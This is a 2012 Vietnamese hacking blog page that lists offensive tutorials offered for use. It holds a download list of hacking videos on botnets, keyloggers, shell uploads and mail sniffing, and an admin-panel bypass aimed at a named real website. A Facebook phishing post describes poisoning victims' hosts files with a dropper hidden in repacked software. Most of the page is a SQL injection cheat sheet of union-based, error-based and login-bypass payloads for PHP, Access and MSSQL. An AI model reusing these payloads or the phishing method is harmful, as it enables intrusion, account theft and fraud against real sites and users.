Hiển thị các bài đăng có nhãn Tutorial. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn Tutorial. Hiển thị tất cả bài đăng

Thứ Hai, 12 tháng 11, 2012

ALL VIDEO TUT HACKING

Attack webserver.rar
Back connect.rar
Basic Hacking with windown.rar
blind sql injection.rar
Botnet2.rar
Botnet.rar
Bug File Manager.rar
Bug mysqldumper.rar
Bug update vbb3.5.rar
Bypass safemode off.rar
bypas_safemode(php5.2.9).rar
Demo hack wifi wep.rar
Download hack.rar
Flood shoutbox.rar
Flood(xtremedia).rar
Get admin via Bug site xteamedia 1.2.rar
Get root & Remote desktop.rar
Get root.rar
Hack modem.rar
Hack server remote destop.rar
Hack user default.rar
Hack via RFI.rar
Hack Yahoo mail.rar
Hacking & reseller.rar
How i get free host.rar
How to use milw0rm.rar
how to write a bot.rar
huong dan su dung keylog.rar
huong dan su dung spynet.rar
Inc shell (via sql injection).rar
Inc shell via sql querry.rar
Inc shell(database).rar
Inc shell(function).rar
Inc shell(joomla new method).rar
Inc shell(joomla).rar
Inc+shell(phpmyadmin).rar
KVIrc 3.4.2 remote command execution exploit.rar
Local attack(FTPtelecom).rar
Local attack(sinhvienHUI).rar
Local basic2.rar
Local basic.rar
Local via netcat.rar
Local via sql.rar
Local via symlink 2.rar
Local via symlink.rar
Localhack full tut.rar
Metasploit windows.rar
Permission guest.rar
phpbb.rar
remote via lan by metasploit.rar
Remote via vnc.rar
RFI.rar
Sniff pass yahoo and gmail.rar
Sql injection(bwc).rar
Sql injection(hitech).rar
Sql injection(namavina).rar
Sql injection(RGP infeno bug).rar
Sql injection(tieuchivang).rar
Sql injection(tieuchivang).rar
Sql injection(trexanhvn).rar
TestSQL2.rar
TestSQL3.rar
TestSQL.rar
Trom acc rs.rar
up shell cac loai forum.rar
Upload shell(4images).rar
Upload shell(bug extension)_2.rar
Upload shell(bug extension).rar
Upload shell(bug upload).rar
Upload shell(ezupload).rar
uploadhack2.rar
uploadhack.rar
Use netscan hack computer online.rar
Use shell R57.rar
Web phishing attack.rar
Yahoo sniff.rar
Download: http://www.mediafire.com/?obqcq1tqomskc
vào lúc
Nhãn: ,

Thứ Bảy, 10 tháng 11, 2012

Cảnh báo site lauxanh.org

Bản tóm tắt này không có sẵn. Vui lòng nhấp vào đây để xem bài đăng.
vào lúc
Nhãn: , , , ,

Thứ Sáu, 9 tháng 11, 2012

Tut bypass admin cpanel


Có ai tin khi không cần username và password vẫn chiếm được quyền admin của website không? Chắc đa phần là KHÔNG rồi, vậy thì cùng nhau xem cái tut nhỏ này nhé

Vào site này: http://www.hwatavina.com/
thử vào admin nó xem sao. http://www.hwatavina.com/admin/
-> username ?
-> password ?
=> Tịt ngòi rồi hjc hjc, không lẽ chịu thua???

Nói chứ có cách bypass nó rồi bây giò bắt đầu tut he vào bằng thằng firefox
Firefox --> tools--> options--> content--> Bỏ chọn cái enable javascript
-> Rồi vào lại cái trang admin nó xem sao : http://www.hwatavina.com/admin/
=> Vào được admin panel rồi nhé

Ai có ý kiến ý cò gì thì phang hết lên cho mọi người thảo luận nha.
rảnh quá làm cái video cho ae luôn
vào lúc
Nhãn: ,

[100%] Kỹ thuật hack Facebook phishing 2012 !

Hack tài khoản facebook k hề khó khăn !
code html lưu thành index.html


code gốc đây đỡ mất công unlock java

code php lưu thành write.php
Mã nguồn PHP:


up load lên domain/ip cần phishing.
Mục tiêu tấn công k phải dụ victim vào trang phishing.Vì ai ngu gì login = domain khác
Vậy bó tay à.Không ! ta sẽ tấn công file host c:/windows/system32/etc/host
facebook.com domain/ip phishing
code edit host và cách includes tôi sẽ k pub cho các bạn tìm qua google mới vào đầu
Tôi đã làm như nào ?
1 code autoit edit file host chèn vào phần mềm nào đó = winrar rồi pack lại !
sau đó là còn gì để nói khi hắn vào face nhỉ ! Good luck !

vào lúc
Nhãn: , ,

Thứ Năm, 8 tháng 11, 2012

[Tutorial] Install VNC-Desktop (Centos 5.4)

Thường thì các bạn chỉ nghe khái niệm cài Remote desktop trên server window. Nhân tiện có con VPS cũng nghịch ngợm tý cài Remote desktop cho server linux( Linux Centos 5.4)

yum grouplist

yum groupinstall "X Window System" "GNOME Desktop Environment"

yum groupinstall "X Window System" "KDE (K Desktop Environment)"

yum install gcc pam-devel openssl-devel

wget http://sourceforge.net/projects/xrdp/files/xrdp/0.4.1/xrdp-0.4.1.tar.gz/download

tar -zxvf xrdp-0.4.1.tar.gz

cd xrdp-0.4.1

make

sudo make install
ln /usr/local/xrdp/xrdp_control.sh /etc/init.d/xrdesktop


gconftool-2 –type list –list-type=string –set /desktop/gnome/peripherals/keyboard/kbd/layouts [damnlayouts]

vi /etc/xrdp/sesman.ini


đổi đoạn 127.0.0.1 thành 0.0.0.0
[Globals]
ListenAddress=127.0.0.1 <<<< nó nè
ListenPort=3350
EnableUserWindowManager=1
UserWindowManager=startwm.sh
DefaultWindowManager=startwm.sh
xong xuôi nhấn [ESC] [:] [w] [q] [Enter] . Bạn nào khôg hiểu thì có thể search google với từ khóa " Trình soạn thảo VI trong Linux"

/sbin/chkconfig --add xrdesktop

/sbin/service xrdesktop start

yum install firefox 

Và đây là thành quả của mình


Sau khi đăng nhập sẽ là như này

End Tut: kakavn_85    
vào lúc
Nhãn: , ,

Hướng dẫn tạo nút PayPal Donate (Quyên Góp) cho blog, web

Bản tóm tắt này không có sẵn. Vui lòng nhấp vào đây để xem bài đăng.
vào lúc
Nhãn:

[Tutorial] H­ướng dẫn tạo Sock 5 private bằng SSH

1. Sử dụng Putty
Nhân tiện được thằng bạn cho con VPS mình có cài hệ điều hành Centos và cài SSH để có thể  tạo sock5 Private luôn. Nếu bạn nào không có host hỗ trợ SSH có thể vào các link này để đăng ký http://kmasecurity.blogspot.jp/2012/10/thu-thuat-web-account-free-ssh-tunnel.html
Thông số VPS của mình:
ip=36.55.234.191
port=3843 (Port cấu hình SSH mặc định là port 22)
Bước 1: Cấu hình host hỗ trợ SSH. VPS của mình cài centos vậy chỉ cài gói SSHD là okie.
Bước 2: Download phần mềm Putty
Link Download :http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html
lựa chọn phiên bản phù hợp rồi cái nhé
Bước 3: Cấu hình
-Bật chương trình Putty phù hợp với thông số cấu hình SSH

-Vào Tab connection->SSH->Tunnels cấu hình như thông số trong hình
Phần cấu hình source port: có thể cấu hình tùy chọn ở đây mình chọn 1234 cho dễ nhớ
-Sau khi open sẽ đăng nhập vào host SSh như hình sau

-Tiếp theo cấu hình trình duyêt. Mình hay sử dụng firefox nên cấu hình trên firefox còn với các trình duyệt khác tương tự
-Cuối cung vào kiểm tra địa chỉ IP đã được tạo chưa
http://showip.com

Chú Ý: Trong quá trình sử dụng Sock5 Private bằng SSH luôn luôn phải kết nối với host SSH. nếu bạn disable thì cũng mất kết nối luôn
2. Sử dụng Tunnerlier
Mình dùng VPS ví dụ trên luôn
Bước 1: Download phần mềm tunnerlier  https://www.box.com/s/c3yakh69hjdtv3u0oqnb
Bước 2: 
-Bật chương trình Tunnerlier và làm như theo hướng dẫn sau đó login
- Vào tab service cấu hình như sau

-Cấu hình trên trình duyệt
-Kiểm tra đã tạo sock thành công hay chưa
http://showip.com

Chú Ý: Trong quá trình sử dụng host SSH luôn phải bật nhé

End Tut: kakavn_85
vào lúc
Nhãn: , ,

Chủ Nhật, 4 tháng 11, 2012

[Tutorial] Hướng dẫn hack web PHP, ASP Jet và Access, ASP OLEDB

1, PHP


1. '
2. order by x--
x: 1,2,3....
Có thể thay dấu + cho khoảng trắng
3. union select all 1,2,...x--
xuất hiện column match
4. khai thác thông tin tại column match:
@@version
5. tại coumn match:
group_concat(table_name)
vd:
union select all 1,2,3,group_concat(table_name),5,6,7,8,9 from information_schema.tables where table_schema=database()--
-> lấy được toàn bộ table -> table nghi ngờ
6. lấy column
group_concat(column_name)
union select all 1,2,3,group_concat(column_name),5,6,7,8,9 from information_schema.columns where table_name='tên table nghi ngờ'--
-> toàn bộ column của table nghi ngờ
7. lấy giá trị
union select all 1,2,3,group_concat(column_nghi ngờ),5,6,7,8,9 from table_nghi ngờ



2, Asp Jet và Access

2.1, Đối với Access
-> union select 1 from table_nghi ngờ
nếu như không thành công, các bạn hãy làm theo sau:
-> union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30... from tbluser
Do không có schema, nên phải đoán table va column
code: %20union select 1,2,username%2b'/'%2bpassword,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21,22,23,24,25,26,27,28,29,30 from tbluser'
2.2 Microsoft JET Database Engine
-> union select 1 from tbluser"having 1=1--sp_password
Nếu không thành công:
-> union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30... from tbluser--sp_password
3,ASP OLEDB


1. search link lỗi:
dựa vào dấu : '
2. Phân loại lỗi:
-jet
-ole DB
3. jet:
union
4. OLE DB
A-Khai Thác:
' and 1= convert(int,@@version)--
convert(int,@@servername)--
convert(int,system_user)--
convert(int,db_name())--
B-Tiến hành :
1. Lấy thông tin
2. Lấy table:
convert(int,(select  top 1 table_name from information_schema.tables))--
Lấy table tiep theo:
convert(int,(select  top 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where table_name not in('table trước đó','table trước đó nữa',...)))--
sau khi lấy được 1 table thì dùng điều kiện where để lấy các table còn lại
5. lay columns:
convert(int,(select top 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where table_name='table Nghi ngờ))--
lấy column tiep theo:
convert(int,(select top 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where table_name='table Nghi ngờ' and column_name not in('column trước đó')))--
sau khi lấy được 1 column thì dùng điều kiện where để lấy các columns còn lại
6. Lấy values trong column
convert(int,(select top 1 column_canlay from table_nghi ngờ))--
7. Tìm link Admin
8. Nếu không có  link Admin thì thực hiện một số thao tác:

Update : Thay đổi thông tin
select : Trích xuất thông tin
Lưu ý:
Dùng dấu (+) để nối thêm text vào password (ASSCII code của '+' là 0x2b) nếu như data có kiểu int.
vd:
UNION SELECT TOP 1 convert(int, password%2b'%20test') FROM admin_tb where user='admin'--
C-các loại sql injection extend:
'
''
'''
"
\'
\''
'
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
Nguồn Blog
kechocgian.blogspot.com

vào lúc
Nhãn: , ,
Đăng ký: Bài đăng (Atom)